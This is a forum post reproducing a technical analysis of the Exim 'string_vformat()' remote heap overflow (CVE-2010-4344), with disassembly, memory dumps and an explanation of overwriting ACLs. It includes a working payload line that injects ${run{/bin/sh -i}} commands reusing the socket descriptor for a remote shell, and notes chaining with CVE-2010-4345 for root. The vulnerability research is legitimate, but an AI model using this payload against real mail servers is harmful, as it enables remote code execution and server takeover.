.text:0807CEC3 mov [esp+8], edi
.text:0807CEC7 mov [esp+4], eax
.text:0807CECB call string_vformat // Dump "rejected from"
.text:0807CED0 test eax, eax
.text:0807CED2 jnz short loc_807CF2B
.text:0807CED4 mov dword ptr [esi], 2A2A2A2Ah
[?]
.text:0807D74C test ecx, ecx
.text:0807D74E jle loc_807DBF0
.text:0807D754 mov eax, ds:sender_address
.text:0807D759 mov dword ptr [esp+8], offset aEnvelopeFromS // "Envelope-from: <%s>\n"
.text:0807D761 mov [esp], esi
.text:0807D764 mov [esp+0Ch], eax
.text:0807D768 mov eax, ds:dword_80F37F0 // Error msg buffer
.text:0807D76D add eax, 2000h
.text:0807D772 sub eax, esi
.text:0807D774 mov [esp+4], eax ; int
.text:0807D778 call string_format
.text:0807D77D cmp byte ptr [esi], 0
.text:0807D780 jz short loc_807D794
.text:0807D782 lea esi, [esi+0]
[?]
.text:0807D799 mov ebx, [ebp+s]
.text:0807D79C mov eax, [eax]
.text:0807D79E mov dword ptr [esp+8], offset aEnvelopeToS // "Envelope-to: <%s>\n"
.text:0807D7A6 mov [esp], ebx
.text:0807D7A9 mov [esp+0Ch], eax
.text:0807D7AD mov eax, ds:dword_80F37F0 // Error msg buffer
.text:0807D7B2 add eax, 2000h
.text:0807D7B7 sub eax, ebx
.text:0807D7B9 mov [esp+4], eax
.text:0807D7BD call string_format
.text:0807D7C2 cmp byte ptr [ebx], 0
.text:0807D7C5 jz short loc_807D7D0
[?]
.text:0807D848 loc_807D848:
.text:0807D848 mov eax, [edi+0Ch]
.text:0807D84B test eax, eax
.text:0807D84D jz short loc_807D896
.text:0807D84F mov [esp+10h], eax
.text:0807D853 mov eax, [edi+4]
.text:0807D856 mov dword ptr [esp+8], aCS_1 // "%c %s"
.text:0807D85E mov [esp], ebx ; s
.text:0807D861 mov [esp+0Ch], eax
.text:0807D865 mov eax, ds:dword_80F37F0 // Error msg buffer
.text:0807D86A add eax, 2000h
.text:0807D86F sub eax, ebx
.text:0807D871 mov [esp+4], eax ; int
.text:0807D875 call string_format // Dump a header
.text:0807D87A cmp byte ptr [ebx], 0
.text:0807D87D jz short loc_807D888
.text:0807D87F nop
[?]
.text:0807D888 loc_807D888:
.text:0807D888 test eax, eax
.text:0807D88A lea esi, [esi+0]
.text:0807D890 jz loc_807DC70
.text:0807D896
.text:0807D896 loc_807D896:
.text:0807D896 mov edi, [edi] // Is it the last header?
.text:0807D898 test edi, edi
.text:0807D89A jnz short loc_807D848 // Proceed the next header

To reliably exploit this vulnerability, an attacker has to fill the 0x2000 bytes buffer until 3 bytes are left before the last header is copied into the 0x2000 bytes buffer. This is the key of a reliable exploitation to ensure that "p" and "last" are equal (i.e. pointing to the same address).

Reliability also depends on calculating the exact and total size of the headers to be sent. This calculation must take into account various informations including: size of "MAIL FROM:" header, size of hostnames, the maximum size supported by the server, and other data related to headers and responses.

When the last header is handled, the buffer overflow occurs and the memory after the 0x2000 bytes buffer is overwritten with the content of the last header.

A few bytes after the 0x2000 bytes buffer, we can find some ACLs:

- At 0x09C1C92E is the penultimate header

- At 0x09C1CA0E are the ACLs

09C1C91E 41 41 41 41 41 41 41 41 0A 20 20 30 30 30 30 30 AAAAAAAA. 00000
09C1C92E 30 30 30 36 32 3A 20 41 41 41 41 41 41 41 41 41 00062: AAAAAAAAA
09C1C93E 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
09C1C94E 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
09C1C95E 41 41 41 41 41 41 0A 00 00 00 00 00 00 00 09 40 AAAAAA.........@
09C1C96E 00 00 61 40 61 2E 63 6F 6D 00 72 20 6D 65 73 73 ..a@a.com.r mess
09C1C97E 61 67 65 2C 20 65 6E 64 69 6E 67 20 77 69 74 68 age, ending with
09C1C98E 20 22 2E 22 20 6F 6E 20 61 20 6C 69 6E 65 20 62 "." on a line b
09C1C99E 79 20 69 74 73 65 6C 66 0D 0A 00 39 3A 34 37 3A y itself...9:47:
09C1C9AE 31 39 20 2D 30 35 30 30 0D 0A 00 75 65 7D 66 61 19 -0500...ue}fa
09C1C9BE 69 6C 7D 7D 7B 5C 5C 4E 5B 5C 5C 5E 5D 5C 5C 4E il}}{\\N[\\^]\\N
09C1C9CE 7D 7B 5E 5E 7D 7D 7D 7B 5C 5C 4E 28 5B 5E 3A 5D }{^^}}}{\\N([^:]
09C1C9DE 2B 3A 29 28 2E 2A 29 5C 5C 4E 7D 7B 5C 5C 24 32 +:)(.*)\\N}{\\$2
09C1C9EE 7D 7D 22 0A 00 5C 5C 5E 5D 5C 5C 4E 7D 7B 5E 5E }}"..\\^]\\N}{^^
09C1C9FE 7D 7D 7D 7B 7D 7D 7D 7B 7D 66 61 69 6C 7D 3B 20 }}}{}}}{}fail};
09C1CA0E 24 7B 65 78 74 72 61 63 74 7B 31 7D 7B 3A 3A 7D ${extract{1}{::}
09C1CA1E 7B 24 7B 73 67 7B 24 7B 6C 6F 6F 6B 75 70 7B 24 {${sg{${lookup{$
09C1CA2E 68 6F 73 74 7D 6E 77 69 6C 64 6C 73 65 61 72 63 host}nwildlsearc
09C1CA3E 68 7B 2F 65 74 63 2F 65 78 69 6D 34 2F 70 61 73 h{/etc/exim4/pas

ACLs are used when evaluating the sender's address for instance. With ACLs, it is possible to execute a command such as: ${run{command}}

On Linux, when a process forks, the opened file descriptors are copied to the child process. Therefore, when the ACL command is executed, the socket file descriptor can be reused by the child. It is then easy to brute force it and use it as stdin.

for fd in range(3, 20):
cmd += "${{run{{/bin/sh -c 'exec /bin/sh -i <&{0} >&0 2>&0'}}}} ".format(fd)

After the overflow, the ACLs are overwritten:

- At 0x09C1C92E is the penultimate header

- At 0x09C1C95E is the last header

- At 0x09C1CA0E are the overwritten ACLs

09C1C91E 41 41 41 41 41 41 41 41 0A 20 20 30 30 30 30 30 AAAAAAAA. 00000
09C1C92E 30 30 30 36 32 3A 20 41 41 41 41 41 41 41 41 41 00062: AAAAAAAAA
09C1C93E 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
09C1C94E 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
09C1C95E 41 41 41 41 41 41 0A 20 20 30 30 30 30 30 30 30 AAAAAA. 0000000
09C1C96E 30 36 33 3A 20 24 7B 72 75 6E 7B 2F 62 69 6E 2F 063: ${run{/bin/
09C1C97E 73 68 20 2D 63 20 27 65 78 65 63 20 2F 62 69 6E sh -c 'exec /bin
09C1C98E 2F 73 68 20 2D 69 20 3C 26 33 20 3E 26 30 20 32 /sh -i <&3 >&0 2
09C1C99E 3E 26 30 27 7D 7D 20 24 7B 72 75 6E 7B 2F 62 69 >&0'}} ${run{/bi
09C1C9AE 6E 2F 73 68 20 2D 63 20 27 65 78 65 63 20 2F 62 n/sh -c 'exec /b
09C1C9BE 69 6E 2F 73 68 20 2D 69 20 3C 26 34 20 3E 26 30 in/sh -i <&4 >&0
09C1C9CE 20 32 3E 26 30 27 7D 7D 20 24 7B 72 75 6E 7B 2F 2>&0'}} ${run{/
09C1C9DE 62 69 6E 2F 73 68 20 2D 63 20 27 65 78 65 63 20 bin/sh -c 'exec_
09C1C9EE 2F 62 69 6E 2F 73 68 20 2D 69 20 3C 26 35 20 3E /bin/sh -i <&5 >
09C1C9FE 26 30 20 32 3E 26 30 27 7D 7D 20 24 7B 72 75 6E &0 2>&0'}} ${run
09C1CA0E 7B 2F 62 69 6E 2F 73 68 20 2D 63 20 27 65 78 65 {/bin/sh -c 'exe
09C1CA1E 63 20 2F 62 69 6E 2F 73 68 20 2D 69 20 3C 26 36 c /bin/sh -i <&6
09C1CA2E 20 3E 26 30 20 32 3E 26 30 27 7D 7D 20 24 7B 72 >&0 2>&0'}} ${r
09C1CA3E 75 6E 7B 2F 62 69 6E 2F 73 68 20 2D 63 20 27 65 un{/bin/sh -c 'e

In order to trigger the ACL, a second email is sent to the server using the same established connection, which leads to arbitrary code execution with Exim privileges.

If combined to a privilege escalation vulnerability (e.g. CVE-2010-4345), this flaw could be remotely exploited to execute arbitrary code with root privileges.

Surse:

- VUPEN Vulnerability Research Blog - Technical Analysis of the Adobe Acrobat / Reader 0-Day Exploit CVE-2010-2883

- VUPEN Vulnerability Research Blog - Technical Analysis of the Stuxnet Windows Win32K.sys Keyboard Layout 0-Day Exploit CVE-2010-2743

- VUPEN Vulnerability Research Blog - Technical Analysis of Exim "string_vformat()" Remote Buffer Overflow Vulnerability CVE-2010-4344

Edited by Nytro

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...